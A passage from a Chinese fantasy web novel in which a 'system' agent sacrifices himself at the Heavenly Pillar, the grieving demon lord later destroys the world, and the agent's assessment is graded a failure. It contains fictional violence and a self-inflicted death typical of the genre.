他细细搜索着,很快,就察觉到了温润洁白的阶梯上有着丝丝缕缕的红线游荡,那红线极细,颜色暗沉,仿佛裹着干涸的鲜血,要不是刻意观察,很容易就将其忽略。 在楚青琅踩上去的时候,那红线浮起,弯曲着顺着他的鞋面朝脚腕爬去,但是每当要接触到他时,他的周围就会迸出一阵浅淡白光,将其逼退。 楚青琅双眼亮起,克制不住的笑了下。 找到了。 他加快脚步,顺着红线来源而去,根本没有注意到,周身轻柔漂浮的云雾越来越浓。 仙魔众人冷眼瞧着那个凡人迈开脚步。 这通天长阶之所以被冠以天柱的名头,那么就说明不是真正的天命之人,不是真正的有着大毅力、深厚缘分的人,是绝对无法走过去的。 妄图强行登上,只会坠入下面那无底深渊。 但是出乎他们的意料,那个脆弱的凡人竟然真的一步一步的走向了远处。 怎么可能? 那上面明明遍布幻境陷阱。 是真实的,能够动摇人心、无声无息杀死人的幻境,就算是分神大能也不敢靠近,更遑论走的那么轻松了。 就算是魔尊,也不过是走到了中间,将祭坛安置了上面。 这也是仙界中人只能同魔军对峙,却无法派人消泯祭坛的原因。 就在他们还处于震撼之时,一道冷冽寒风挟无形的波纹从远处快速袭来。 在天上警戒御剑的仙人的护体法器没有起到丝毫作用,轻微的碎裂声在耳畔响起,那道波纹携带着极污秽的邪气,转瞬间穿透了他们的胸膛,只在瞳孔中留下一道扭曲的光影,如同镰刀一般,轻而易举的切割了所有的一切。 不计空间,不计距离。 原本清澈的天空,被不知从何飘来的乌云片片吞噬,就连高悬的太阳,也缓缓染上了红意,将一切浸在了朦胧的粉中。 而这不过是一次战斗形成的余波! 躲过的众人朝着一个方向望去,满面骇然。 “是大乘,不,是渡劫大能!!” “是魔尊!!” “尊上!!!” “太虚真人呢?” 话音刚落,铮然剑声传遍天下,心脏忽然异常跳动,莫名的压抑使得他们噤了声。 紧跟着,一道剑光猝然亮起,横跨天地将那邪风尽数斩开。 那道剑光极冷酷,极光明,照射到此,被红雾吞噬的太阳也仿佛碰到了阻碍,无法前进分毫。 鲜血般的粉被金光寸寸穿透,盈盈浮动于天地之间。 魔域众人只是望着,恐惧就如利爪般攥紧肺腑。 他们眼睁睁的望着自己的身躯,在那灿灿金光的照射中融化坍塌。 * 楚青琅不知走了多久,他本来就只是一个凡人,还被骄养长大,出行都是马车,一次性爬这么久阶梯,着实让他为难。 他捋了一下被汗水浸湿的额发,准备休息,却在不经意间瞧见了不远处被雾气笼罩的东西。 他走近,才怔然发现,那竟然是一块丸子状的巨大肉团。 条条柔嫩肌肉绞缠蠕动,在血色筋肉表面覆着浅白薄膜,青色血管在上鼓动着,仿佛带着生命一般。 在肉团下面,无数细丝飘舞着,就像是蜘蛛的网,海下水母的触手。 他们从外面汲取着生命,然后自己的血肉里面,孕育着什么。 总不能是珍珠。 楚青琅皱着眉想,他捂着嘴,有些想吐。 他下意识的打开系统面板,将其拍了下来,然后默默的走了加急通道反应给了主系统和主神。 这东西对于仙侠世界来说,有点超纲了吧? 楚青琅透着淡蓝色面板,看着任务,还是有些嫌弃地瞅了一眼那团血肉。 最后一个支线任务是要他死于祭坛。 但是他并没有看见祭坛,只看见了这个东西,难道要他把自己溶进去? 楚青琅秉持着任务至上的念头,朝前走了一步,仿佛察觉了他的动静,那飘舞的血丝朝他伸来,他便又默默的退回了原地。 嗯,这个东西既然被放在这里,也顺着阶梯蔓延了这么长,那就说明这个他站的这个地方就是祭坛了。 所以他不接触也可以。 楚青琅决定,还是自己干掉自己比较好,他才不想碰那团诡异的东西。 拿天柱山当祭坛,亏魔尊想得出来。 周围雾气霭霭,仿佛夕阳西下,无形的粉悄然晕上了浮云,一切的一切,朦胧如幻梦一般。 修长骨节弯曲,楚青琅握着黑色皮革包裹的匕柄。 冰冷尖刃顶着白皙皮肉,呼吸起伏间,顶出轻微凹痕。 随即,寒光一闪,动作果断且利落。 鲜血滴落到衣领处,柔滑布料很快将其尽数吸取,于是那红,变得更为鲜妍。 楚青琅紧闭双眼,唇抿着,安静的等待着自己任务完成。 时间一点一点地过去,却只有他急促地呼吸声耳边回荡。 楚青琅猛然意识到,自己并没有感受到丝毫疼痛,但是他自己用了多大的力道他自己清楚,更何况,考核任务并没有给他权限开启疼痛屏蔽。 他迷茫睁眼,伸手朝着自己的脖颈摸去,却只摸到了一片细腻光滑,并没有丝毫伤痕。 眼前仿佛那粉色愈发浓郁起来,他的视野都被笼罩上那柔和的颜色。 “当啷”一声,楚青琅手中的匕首掉落在阶梯之上。 他猛地转身。 下方长长的阶梯上。 穿着黑袍的人正朝他艰难走来。 熟悉的,英俊的浓墨重彩的面庞上,红色的眼眸带着铺天盖地的感情,朝他呼啸而来,汹涌的,将他硬生生的定在原地。 那苍白脖颈处,赫然是一道狰狞血洞。 生死契,亦叫奴隶契约,被契约者死,契约者并不会死,但是契约者受伤或者死亡,被契约者不仅会承担痛苦还会跟着死。 楚青琅在这一刻意识到,生死契并没有随着奴隶版本的兆歧的死亡而解开。 怪不得,怪不得。 魔尊当时会那样看他。 只要魔尊不死,他就不会死,在常人的推断中,一个人确实不应该,主动过来找死。 他给了他足够完善的庇护。 “青琅。” 平静的声音响起,楚青琅抬眼,只见兆歧立于不远处,站在阶梯下,朝他伸出了手。 兆歧向来笑得很浅,血色眼眸虽漾着柔光,但是楚青琅还是察觉到了他瞳孔深处掩埋的恐慌。 他带着诱哄的语气道:“下来好不好?” “你不想呆在魔域,我陪你去人间,去仙界。” “我为你放风筝,陪你吃尽所有你想吃的美食,看尽所有你想看的景色,你不想看见我也可以,主人,我会消失的主人,下来好不好?” 淡蓝面板闪烁,主系统和主神给了回复。 【主系统:无异常。小世界为攀升,需要孕育仙魔支柱开启轮回,引出天命之子。】 【主神:。】 啊,原来是这样。 心中些微的触动,如玻璃上的呵气一般萎缩消失。 那么他的死亡,就是必须的。 只有他死了,献祭才能完成,天柱山才会被彻底污染断裂,然后魔尊会杀死太虚真人,仙界就此式微,天下大乱中主角才能应运而生。 嘶,不是说他是炮灰吗? 楚青琅眨眼。 怎么感觉他还蛮重要的。 【——检测到考核任务并未完成,且强制退出后默认放弃本次考核,请问006号系统,是否确认启动此功能?】 楚青琅气哼哼的将匕首朝着兆歧踢了过去。 他早就发现了,在这天柱山上,是灵力禁区,无论是魔还是仙,都只能使用□□的力量。 匕首和玉石阶梯相撞,声音清脆响亮,极具有穿透力。 【确认。】 仿佛一道闪电划破寂静黑夜。 兆歧瞳孔骤缩,眼眶张的过大,眼尾处竟然迸裂出一道血痕。 呼吸刺痛,咽喉仿佛吞下一颗炭火,将所有呼喊哀求烧灼喑哑,肌肉被生生撕裂。 他踉跄着朝前跑去,却像是在弱水中行走,动作极为缓慢,血肉被腐蚀了个干净,只留下一张空荡荡的皮囊。 兆歧只是执着的,朝着前方而去,手脚并用。 狼狈又疯狂。 猩红的双目中,那飘荡的红线,欣喜的捉住后仰的少年。 他的小少爷,那一双黑眸就那样安静的望着他。 谴责着他。 * 谢尘缘走上来,缓缓睁开了眼,视线并无焦距,那金色的瞳孔被一道血痕横亘。 于魔域,万千剑影中,兆歧任由攻击落于身上,神情突然变得不安起来。 谢尘缘瞧见兆歧那张冷漠暴戾的面容带着怔愣,指尖积聚的魔气尽散,他抬手捂住了脖颈。 随即,鲜血如注顺着指缝涌出。 那双红眸瞧过来,带着极度的怨恨,带着轮回千世寒意。 兆歧的威势寸寸拔高。 渡劫之后还有什么呢? 飞升? 不,此世无人可飞升。 但是兆歧的实力却超乎了他的想象,只一击,那乍起的红就充斥了他的视野。 鞋底不知踩到什么东西,发出吧唧一声。 像是软肉。 谢尘缘站在原地,他开口,“兆歧?” 无人回复。 几息之后,他又开口,“玉儿?” 无人应答。 不应该这样的。 在他的计划中,楚青琅一介凡人,不该登上天柱山,而这里又无人能救他出去,就算是兆歧,也是一样。 这里是世界上最安全的地方。 他只能呆在这里安静的等待他的到来,再也逃不掉。 然后他会救下他,保护他,带他修行。 做几年前就应该做的事情。 不应该这样的。 白衣仙人静默站立,整个人恍若一块被打碎的琉璃,堪堪保持原状。 在一片的黑暗中。 他听到绝望如虫豸般蔓延。 玉石阶梯上,血色肉团被挖开,里面沉睡着两个未成型的婴儿,脐带纠缠,到外部,散成血线被扯乱一地。 在满地血线中,躺着一个面容白皙,神情安宁的少年。 一只手颤抖的伸来,却只是悬停在那少年上,红雾顺着掌心不断涌入,试图唤醒沉睡的人。 黑发下,是一张神情几乎空白的面孔,眼尾血泪茫然滴落。 时间仿佛在这一刻停滞拉长,眼前的景象扭曲成漩涡,不知输入了多少魔力,恍惚间,兆歧仿佛听见了一声叹息。 他俯下身子,在少年身上侧耳倾听着,虔诚的期待着。 一息,两息…… 漫长等待中,却只有纠缠锁定灵魂的金色契约从心口浮出,在艳红背景中,金色纸张上镌刻的名字渐渐消弭。 兆歧张了张嘴,从那痉挛咽喉中,发出野兽般不成调的呼唤。 “主人……” 第28章 第 28 章 原主角视角,负棺(番外…… 湛蓝天空上白云悠悠, 阳光洒落凡间街市,一如既往的热闹。 “路修谨!你给我站住!” 穿着红衣的少女面容精致,她气冲冲的喊着前面穿着黑衣的少年,随后就这样停下了脚步, 站在了人流中间。 这样一个漂亮的孩子, 哪怕是在发脾气, 也显得生动可爱。 但是那少年却仿佛视若无睹, 头也不回的朝着前面走去。 他步伐稳重,面容周正, 脸侧的一道伤疤并不使他显得可怖,反而更添上了几分韵味,仿佛他经历了许多。显露于外部,便有了那一双清澈却包容的眼眸。 他朝着自己的目标走去,身侧突然卷来一阵风, 那个红衣少女就这样出现在了他的身旁,眉头皱很紧,带着火气压抑道:“师尊说了, 不让你和师叔祖多做接触, 你为什么还要因为他的一句话就巴巴的赶来凡间?要不是我发现, 你是不是还要自己逞能?” “现在魔域混乱已久,新上任的魔尊到处在抓通明之体, 你知不知道自己有多危险?!” “路修谨?!” 少年只是沉默的赶路, 但是他人的善意总是让他心里发软,更何况身边的女孩是从他入宗门便给予了他许多帮助的人。 最终他还是开了口,带着几分的恍惚,“师叔祖他他只是较为孤僻,并不是坏人。而下凡, 是我自己想来。” 他想看看那个早已不在这世上的,改变了他命运的人。 他生来卑微,并无灵根,却还是被师尊收为徒弟,因此心中忐忑更胜惊喜。虽然在宗门中受到了些许的刁难,但是那不过是因为他的实力低下,才让那些师兄对他不服。 是他的原因。 按理来说,他有足够的理由就此放弃,但是他的心中却总是带着恐慌,就仿佛只要他松懈下来,就会发生极为可怖的事情。 他日以继日的,愈发努力的练习,只有将自己最后的一丝气力折磨出去,才允许自己休息。 偶然的夜里,他走到了一处山上。 那里花草繁茂,灵气充裕,流萤翩飞,恍若神仙洞府。 在哪里,他见到了一个人。 一个让他感觉到很难以形容的人。 在见到他的一瞬间,路修谨便忍不住流下泪来,哽咽声仿佛惊醒了那个人,于是他回了头。 发为血之余,凡人到了年龄头发便会变得枯败,那是因为精血不足,按理来说修行者早已跳出轮回,并不在此等循环中,但是那个人的发却像是凡人一般,枯萎惨白的犹如他记忆中的冻草一般,黯淡无光。 那双眼眸明明是浅淡的颜色,路修谨望过去,恍惚间竟以为那只有空洞虚无的眼眶。 他侧着头,像是在看着路修谨,但是那视线分明没有任何焦点,如此,便又像是在倾听着什么。 路修谨直到那个人移开了视线,才觉得窒息,他捂着口鼻,急促小心的呼吸着空气。 他隐约察觉到,那个人的修为极高,毕竟只有拥有着极高修为的人才能只以神将他人心神颠覆。 若不是路修谨心神坚固,只刚刚一眼,他便彻底成了那人的傀儡皮囊,抑或是,就地自戕。 路修谨不敢再看,垂下眼,准备悄声离开,但是只是轻微变换了一个方向,余光中,他瞧见了一个木制的牌子。 ——那是谁墓碑? 被那个人用如此沉重的眼神望着的。 是谁? 胳膊处传来拉力,熟悉的艳丽的面孔出现在眼前,少女眉头仍然蹙着,神情却格外的认真,她说:“路修谨,你到底要去那里?你已经在这里寻了三遍了。凡间早已变换了王朝,你要找的是人是鬼?还是你也和师叔祖一样,陷入了幻境?” 幻境?是的。 他询问了师尊,师尊让他离那里远一点,但是耐不住他的一再询问,还是告知了那个人的身份。 那个人原本是青云仙宗的掌门,是太虚真人,只是据说在天柱山和魔尊动手中,陷入了一个幻境。 出来之后太虚真人虽然重创了魔尊,保住了天柱山,但是他也修为大跌,有心魔缠身之状。后未被众人请命,太虚真人便主动卸去了掌门之位,自己隐居于妙宸山,再不见世人。 但是听完师尊说的这些话,路修谨只有一个念头。 碑上人呢? 太虚真人为幻境中人立了碑? 于是他便仗着自己心神坚定,常常再去那里。但是不管他去的时候有多晚,那个人永远都在那里,他只能一步一步的缓慢靠近。 直到看见了那碑上的第一个字,他听见了一道沙哑的声音。 “他是我的玉儿。” 但是分明路修谨瞧见的碑上的名姓为——楚。 路修谨沉默,那个人仿佛自言自语,“你若是方便,代我去看看他吧。” 他问为什么要他去看,那个人并未回头,只是说: “我做错了事情,无颜见他。” “你应该看的。你现在的所有安稳,都是他换来的,他那么聪明,一定早就发现了什么。” “不然凡人怎么登上那阶梯……是天道……” “无望的攀升,到底该谁来决定?天道,众生,还是我们这些被钉住的虫子。” 路修谨听不懂他在说些什么,但是那个人周身的压迫感愈发强了起来,他只能被逼着后退,直到彻底离开那里。 姓楚,在凡间。 路修谨只得了这两个消息,他便硬生生的在修炼中挤出时间,几近于不眠不休的寻找着一些蛛丝马迹。 直到今天,他找到了这里。 路修谨抬头,瞧着朱红斑驳的大门,还有上面字迹模糊的牌匾,半掩的门扉可以瞧见里面肆意生长的野草。 这是一处荒宅。 路修谨独自走了进去,迈过及腰高的荒草,踩着破碎的地砖,他来到了一颗开的异常繁茂的桃树下,在树枝遮掩间,他瞧见了一根染红的绸布,飘飘荡荡的挂在那里,就像是曾经吊死过一个人。 “你是谁?” 身后突然传来一道轻柔的声音,路修谨转身,只见一个穿着青衣的人悄无声息地出现在他的身后。 青衣人面容清秀,脸部线条极为柔和,唇翘起,温和可亲。 路修谨收回视线,回答:“我来这里找一个不存在的人,他姓楚。” 青衣人笑,“这里就是楚府,都是姓楚的,也都不存在,你要找谁呢?” 路修谨说:“他和青云仙宗的太虚真人认识。” 话音落下,出乎意料的,面前的人脸皮仿佛浸水的纸一样,内部血肉涌动着,几乎扯烂那张面皮,双目射出极致的恨意,他一字一句道:“谢尘缘!!!” 青衣人再次望过来时,带着鲜明的恶意,他周身怨气冲天。“他害死了我家少爷!凭什么还敢来找过来!!!” 迎着那冷厉目光,路修谨不由得退后一步,却感觉一道冷风冲着他后心而来,他骤然转身,拔剑砍下。 一根枝条分为两半,掉落在地。 怨鬼。 还是和自己的死地融和了的厉鬼,再无转世之路。 路修谨心中叹了口气,他知晓,面对这种存在,语言已经起不到什么作用了。 他周身金光灿灿,眉心有红痕浮现,手中剑竖起,便朝着那人冲去。 他虽说并无灵根,但是进度并不慢,再加上青衣人生前不过是一凡人,就算是化为厉鬼,也只能依靠本能来攻击,因此很快就被他斩于剑下。 缓缓将剑收回,青衣人仿佛恢复了理智,一张面孔重新变得柔和可亲起来,那张圆润的眼眸瞧着他,带着恨意,带着哀求。 “把我家少爷带回来。” 路修谨说:“你家少爷在哪里?” “我不该让谢尘缘去救我家少爷的,不该让那个奴隶呆在府中,是我太过于软弱。” 青衣人的身躯从下逐渐化为光屑,消散。 直到最后,他说:“我家少爷名青琅,他被魔尊带走了。” 那双圆润的眼眸几乎要落下泪来,他仿佛不忍说出那句话,“尸体,也是。” “魔尊?但是现在的魔尊除了到处找通明体,说要接着斩天柱,并没有听说他有什么感情纠葛啊?” 少女双手抱膝,歪着脑袋看着身侧的人。 干柴噼啪灼烧着,火焰映在两人脸侧。 路修谨摇了摇头,“他说的应该是之前的魔尊。” 少女皱眉嘟囔,“那个魔尊?他不是被师叔祖重创了吗?没准早就被新魔尊杀死啦。” 路修谨没有回话,他并不认同少女的猜测。 第二天,两人接着朝着魔域走去,要去往魔域,要穿过一道沙漠,里面毒蛇异兽遍布,人心也仿佛被这恶劣的幻境传染,变得可怖。 风沙卷过兜帽,路修谨和少女被坑掉了不少钱财,只能跟着商队慢慢行着。 在自然的威势下,就算是修行者,也必须靠双足行走。 一旁同样跟他们一样的修行者都坐在骆驼上,其中一个望了望天,又望了望就算掩住脸也依然能瞧见姣好五官的少女,突然开口。 “你们是要去琴都探索秘境吗?” 少女疑惑抬头,“什么秘境?” 那个人低头惊讶道:“你们不知道吗?这一路上的人都是要去参加那据说千年未开的秘境,于沙漠百里处的琴都忽然现世,秘境也将跟着开启,里面有着许多的灵宝真法,就算是得到一些皮毛,也够我们散修接下来的修行了。” 路修谨站在一旁,安静的听着。 那个人又啧了一声,“不过这次想来除了散修,那些大的宗门天骄,或者魔界中人也会过来,就是不知道那个疯子会不会来?” 路修谨说:“疯子?” “是啊,这百年来,各处秘境开启之时,都会有一个疯子过来抢夺天材地宝,完全不顾对手是谁,要不是他修为高,早被杀死了。” 那个人弯腰拿着水囊抿了一口,接着道:“奇怪的是,他只抢那些据说能够起死回生的宝物,像灵宝啊功法啊什么的,看都不看一眼。” “现在琴都秘境开启,里面一定少不了那些能够起死回生的宝物。那个疯子,肯定会来,说不得,还会背上他那个棺材。” “棺材,哈。” 那个人笑得嘲讽,路修谨定定的瞧了他一眼,默默的提速走开。 * 青衣人说那个人叫青琅,楚青琅。 太虚真人说,是他给了他安稳。 但是为什么? 偶尔,路修谨会做噩梦,每次醒来,他都是大汗淋漓,一种极致的悲哀会压抑在他的心中,让他几乎喘不过气来。 他起身。 因为靠近沙漠,此地不论白天夜晚,天空总是雾蒙蒙的,月光悬在空中,只能照亮一片地方。 听见那个人的话后,路修谨就改变了目标。 原本他是想去魔域询问现在的魔尊关于楚青琅的事情,但是听见那件事情之后,他有一种直觉。 他会在秘境见到他想要见的人的。 路修谨自凡间的时候,就经常抬头仰望月亮,但是那是他不是带着饥饿就是带着疼痛和恐惧,从来都不曾欣赏过月亮,只是把月亮望成一块大饼,想象着它的味道。 而现在,他不再感到饥饿,有能力保护自己了,他却很少抬头了。 月光在一寸寸的下移,太阳缓缓升起,直到门口传来敲门声,他才恍然清醒,收回了视线。 两人走出客栈,穿着长袍带着兜帽,朝着秘境赶去。 两人在赶路的时候都不是多话的人,直到温度一再降低,少女才打了个寒噤,疑惑的说:“根据琴都的人说,这里明明也是一片沙漠,为什么会这么冷,还” 她仰头,迷茫的望着天空,喃喃道:“下雪了?” 路修谨停下了动作,他伸出手,接住了那些洁白的,冰冷的,转瞬即逝的雪花。 他说:“这不是自然形成的雪,是有大能生生的将这片地域节气改变所成。” 少女震撼道:“这是何等修为?竟能扰乱天道时序?” 话音落下,一股冷风直直的朝着两人吹来。 此时,目之所及皆为白茫茫一片,气温已低到凝水成冰,呵气成雾。 周围和他们同样去秘境的人都停住了脚步,随后警惕的看向一个方向,握着武器缓缓后退,消失在他的眼中。 少女攥紧了路修谨的袖子,睫毛颤抖着,一双眼变得慌乱起来,“修谨,我觉得有点不对。” 路修谨同样感觉到一种莫名的气氛蔓延而来,他心脏提起,直觉告诉他,这里很危险,非常危险。 要逃。 但是他却无论如何都无法移动脚步,就仿佛,一旦离开,他就会错过什么一样。 因此,抵着那后退的冲动,他直直的站在原地。 风呼啸着,卷起纷飞的雪花,打在脸上,刺痛冰冷,遮掩了他的视线。 远处,雪天相接成一线,有一个黑点缓缓移动着。 黑点步伐很慢,但是诡异的是他却很快就来到了路修谨面前。 路修谨被摄住了心神,几乎战栗的瞧着那人走来。 他脊背弓起,背着什么东西,黑发散乱看不清面容。 在他的脚下,浮雪凝冰渐渐蔓延,很快,这炽热的沙漠就彻底变成了无尽的雪原。 路修瑾才瞧见,他身上穿着一袭红袍。 他神情平静,面上带着一角残破的青铜面具,苍白的,空白的神情让他看起来就像是一具人偶,又或者只是一具尸体。 在他的周身萦绕着混乱危险的气息,空间裂缝被硬生生撕裂,穿透,上一瞬他还在千米开外,下一瞬就来到了眼前。 那人行走在虚幻与现实之间。 簌簌雪花落下,却并没有沾染他分毫。 在他的身后,背着一口黑色的棺材。 棺材上描绘着极为繁复高深的阵法,路修谨只能勉强认出边角的“降温”“引灵”“护持”,别的只是瞧一眼,脑袋便像是挨了一锤子一般晕眩剧痛。 红袍在眼前划过,袍角同翻飞黑发交缠,路修谨莫名觉得这个人和太虚真人很像,同样的绝望,同样的空洞。 在他身上,一种孤寂悲戚浓重的犹如实质。但是这个人神情又是那么平静,乍一望去,就像是一个冷漠点的正常人。 只有那双眼眸显露出些许端倪,犹如干涸的枯地,只有鲜血能够流出,再无泪水。 那个人就这样从他面前走过,被锁链背于身后的棺材紧紧阖住。 路修谨看不见那里面躺着的人。 直到那红衣消失在眼前,良久,他才从那种莫名威势中挣脱出来。 此时他才察觉到,自己口鼻已经被鲜血覆盖。 看着掌心的血,路修瑾忽然想明白。 那人所穿的衣服是。 喜服。 * 两人还是赶上了秘境的开启。 但是他并没有再次瞧见那个背负棺材的“疯子”。 直到最后,还是少女扯着他的袖子将他拉进了秘境。 少女语气格外严厉,“路修谨!不管你要找什么,你既然决定要进入,就不要犹豫。而且,这个秘境可不是你这种心神不定的状态可以通过的,如果想要活着,就给我认真点!” 原来被看出来了。 路修谨点头答应下来。 进入秘境,两人就被分开,这种情况并没有让他慌乱,不管是在师尊的教导还是师兄们传授的经验来说,都是正常的。 这座秘境并不像是散修们讨论的什么树林繁茂,异兽颇多,反而是一座精美整肃的建筑。 路修谨在宽阔的广场上站了一会儿,没有发现什么危险,便跟着自己的直觉朝着前方走去。 黑石做成地板,建筑,六角灯笼随处可见,晴朗天空上突兀的挂着一轮血月。 在他的面前,是高高的阶梯,通向一座殿门大开的宫殿。 他沉默的走着,耳边只有自己的脚步声响起。 “谁关心他了!” 清朗羞愤的声音突然在耳边响起,路修谨按住剑柄,警惕望去。 一个红衣飘逸的少年正站在他的身前,白皙染粉的面颊上一双黑眸闪亮,瞪过来,带着瑰丽生动的活力。 路修谨下意识地松开了手,心中一直悬起地大石轰然落地,踏实激动的感觉让他几乎控制不住自己的手脚。 他上前了一步。 但是那少年却没有丝毫动作,只是直直的望着他。 不,是越过他在望着谁。 路修谨恍然。 这不过是,幻境。 少年忽地上前,伸出的手按住他的剑柄,那张明艳面孔靠近,密长眼睫上翘,兴致勃勃。 “你以为我会这样说吗?” 那红润唇瓣靠的过近了,路修谨浑身紧绷,咬牙克制着自己的视线,抽出理智想要观察四周的幻境是否有危险,但是还未等他反应过来,面前的少年就消失在了原地。 路修谨下意识的低头瞧了一眼剑柄,几息后,他重新迈开脚步。 他跨过殿门,仰头看着那高阶之上的座位,少年正趴伏在那里,露出毛茸茸的发顶,白皙指尖拂过一张张字迹模糊的纸张,忽地,将其全部推了下去。 少年直起身,直直的朝着他瞧来,无聊的神情隐去,变成矜持的欢喜,他张开口,说了什么。 ——他在等着他过去。 路修谨心中一瞬间的绵软,他眼眶发酸,想也不想的迈开了脚步。 但是等他走过去,那道跟着他仰头的身影却再次在他的面前消失不见。 桌案上只留有一块红玉,黑色的穗子在空中微微晃动 路修谨闭了闭眼,将那突如其来的情绪收回,随即,目光清明的朝着殿后走去。 这次,那个少年并没有再次出现。 他自己一个人走了很久、很久。 直到建筑的光影离去,周围突兀大亮,他才发现,自己仿佛回到了人间。 “我有点喜欢你了。” 他猛地侧头。 少年笑着,认真的瞧着他,眼眸如碎星闪亮,身上一直萦绕出来的疏离淡漠在此时消散。 随即,他感觉自己的手被牵起。 他不由自主的跟着少年向着前方走去,思绪逐渐变得朦胧。 眼中,那少年一直在。 亲昵的和他说着话,或嗔怒,或举着食物送到他的唇边。 他张开口,却只咬了一口空气。 那少年仿佛恶作剧成功一般,哈哈大笑起来,双眼眯成一线,随即又凑到他面前,覆着水光的眼眸带着狡黠,说着什么。 他听不见,耳边只有尖锐的鸣响。 这条路走到最后,他才发现,少年手里一直握着一根风筝线。 少年站在他的面前,朝他伸手。 风筝飞的太高了,那辘轳在他的掌心翻转着。 在掉下的瞬间,路修谨伸手握住了那纤细的线,将其攥在了掌心。 下一瞬,一股剧痛传来。 他猛地单膝跪地,吐出了一口鲜血来。 头晕目眩中,他却没有像师尊之前的教导,第一时间朝着剑摸去,他只是摊开了手。 上面空无一物。 他缓缓站起身,终于看清了一切。 漫山遍野的花朵摇曳,天空却反常的下着雪,寒风凛冽吹拂,他看见花丛中穿着喜服的“疯子”拥着一人,靠在那口棺材旁,低声说着什么。 那双血眸不复先前的空洞,变得温柔起来。 路修谨顶着几乎碾碎他浑身骨骼的压力,一步一步的朝着那里走去。 少年身量修长,大红嫁衣更衬的他肤如白玉。 他乖巧的依靠在红袍人的怀中,一顶金冠扣着漆黑的发,双眼紧闭,露出的面容沉静,安宁。 红芒沿着脚尖划过,带着浓重的警告意味。 路修谨颤抖着停下脚步,他看向红袍人,脑海中潜藏的记忆翻涌上来,张口,却说不出什么话来,“他” 原来他并不是第一次拜入青云仙宗,不是第一次走过这些道路。 那时候的他是为了斩妖除魔,匡扶正道。 在一次次的磨练中,他的修为也随之水涨船高,直到杀死最后的对手。 ——魔尊。 天下终于太平。 他也随之突破了最后的境界,在众目睽睽中,于雷劫飞升成仙。 天道告诉他,世界同样需要上升,直到突破现在的等级,才能由禾苗变为大树,支撑起更多更多的生命。 但是,世界始终无法上升,所有人都被禁锢于这一方天地,直到一切被消磨殆尽。 不过“大衍之数五十,其用四十有九”,无论是世界还是他,总会有一线希望,于是他需要重新去找那遁去的的一。 在一次次的轮回中,他不断的寻找着,也一次次的被杀死,抑或是被杀。 直到现在,他不用在寻找了。 瞧着面前的老对手,路修谨原本痛苦的神情如云般消散。 他直起了脊背,一双清澈眼眸依旧,只是变得更为悲伤,仿佛夹杂了许多灰絮。 兆歧声音冷漠,“是我的爱人打断了你的轮回,你需要知道这个事情。” 路修谨恍然。 “两种选择,献出自己的性命,或者,我杀了你。” 红色眼眸依然温柔的凝视着他的主人,指尖轻轻拨弄了一下那垂下来的眼睫。 兆歧说:“这个世界,早就该毁灭了。” 天空忽地变得压抑起来,乌云聚集,雷声大作。 路修谨仰头望天,脑海中友人死亡时哀嚎哭泣的脸,和现世大笑生动的面容相互重叠。 他沉默良久道: “天道,这个世界的人已经死去了太多人,所有人的脚下都是累累骸骨。他们很累了。” 一直高高在上的天道仿佛察觉了什么,酝酿过后,震耳欲聋的雷声又连绵不绝响起,随后便是道道黑紫雷光劈下。 天地被闪电串起,咆哮着不满。 拥着少年的男人缓缓站起,沉默着将人放进了身后的棺材中,他的手恋恋不舍的拂过安静躺在那里的少年。 “青琅,我很快就来。” 与温柔举动相反的,是他身上的修为节节攀升,直到能够彻底毁灭这个世界的程度。 生命的尽头,路修谨又望了一眼那个少年,面前浮现了他勾唇轻笑的面容。 幻境吗? 红色的光芒充斥了他的视野,世界归于寂静。 * “啪”的,虚拟影像被彻底关闭。 莹白房间内,空旷整洁,落地窗外有着无边星海,正在缓慢旋转,瑰丽绚丽。 少年站在桌子前,碎发遮眼,窄瘦高挺的鼻梁下,一张嫣红的唇抿成一条直线,仿佛懊恼。 楚青琅的面容青青白白。 耳边,小世界的天道和主系统投诉的声音清晰极了,带着哭声投诉楚青琅毁了自己的世界,要补偿,要他回炉重造!! 控诉的主系统都模拟出了汗滴,那双简洁线条形成的双眼哀怨的看着站在它面前的人。 楚青琅心虚地移开视线。 他也没想到他强制脱离世界之后,兆歧会想那么多啊? 还有什么轮回,什么上升,关他一个炮灰什么事情? 最后怎么就把毁灭世界的罪责按在他的头上了。 楚青琅心中还委屈呢。 “回炉重造是不行的,我们绝对会加强培训好好好,会给你本源能量让你重新建造世界的,绝对真实!” 主系统连声安抚,终于那个世界的天道给按了下去。 接着,它看着站在面前一脸倔强的人,头痛道:“青琅,你” 只是话还没说完,楚青琅就一阵抢白,他按着办公桌说:“不是我的错,这个剧情真的有问题。谁知道我献祭的那个肉团里面孕育的就是魔尊仙尊啊。还有仙尊和男二怎么会是一个人啊?他根本就是一个疯子好不好!兆歧也是,我都没有ooc,人设保持百分之百了,他怎么能喜欢我!!!” 楚青琅的脑海中闪过拥着他的空茫红眸,声音一下子低沉起来,“他怎么可以” 不死心的救一具躯壳。 中间哪怕只是神经本能的抽搐,也会欢喜很多天,但是会明白这不过是又一次的失败,就这样坚持了百年 好蠢。 落地窗前的高背椅上,一颗散发着白光的光团凝成了蛋形,抽象的几根线条组成形象的五官。 此时上面代表眼睛的两条线随着楚青琅一连串的话,已经变成了蚊香。 它模拟出手,朝面前的人按了按,示意他闭嘴。 楚青琅哼了一声,捏着自己的任务报告安静下来,眼尾低垂。 主系统说:“我理解,但是你也要知道,在你之前,这个小世界已经有无数系统进去过了,从未出现过问题。你这是第一例,还直接把这个世界毁灭了,你这样,我不好和主神交代啊。” 它叹了口气,接着道:“这个错误你是一定要认的。只是回炉重造就不必了,但是你要吸取这次的教训,在下次的任务中,争取考核通过。到时候,我们一齐来算你的帐。还有你的疑问我也都会解答。” “至于你说的bug还有剧情问题,我会加以关注的。” 主系统的颜表情格外严肃。 “考核系统006号楚青琅,接下来宣布你的考核成绩。” “人设扮演度为100%,剧情偏移程度为100%,主线任务已完成,支线任务失败,因此,你的评分为——D。” “考核失败。006号楚青琅,是否认可这个结果?” 楚青琅平静道:“认可。” 实话说,他还以为自己会直接失去考核的资格,重新回去学习呢,没想到这么严重的失误,主系统就这样放过他了。 他忍不住疑惑道:“不会把我当作反例将给下一届系统吧?真的不会把我回炉重造?” 主系统:=_= 主系统朝他摆了摆手,一脸郁闷的神情。 “快走快走,去下一个小世界吧。” 第29章 第 29 章 他从来都不是异类。…… 楚青琅从主系统的办公室出来, 仰头看了一下星星点点的幽深顶部。 那里就是所有系统的诞生之处——无尽星海。 据说主神一直在守护着那里,就是不知道主神的脾气怎么样了。 楚青琅沮丧的低下了头,他参加的考核是主神监管的,现在他任务失败, 还把一个小世界给毁灭了, 一定给他的顶头上司留下了一个不好的印象。 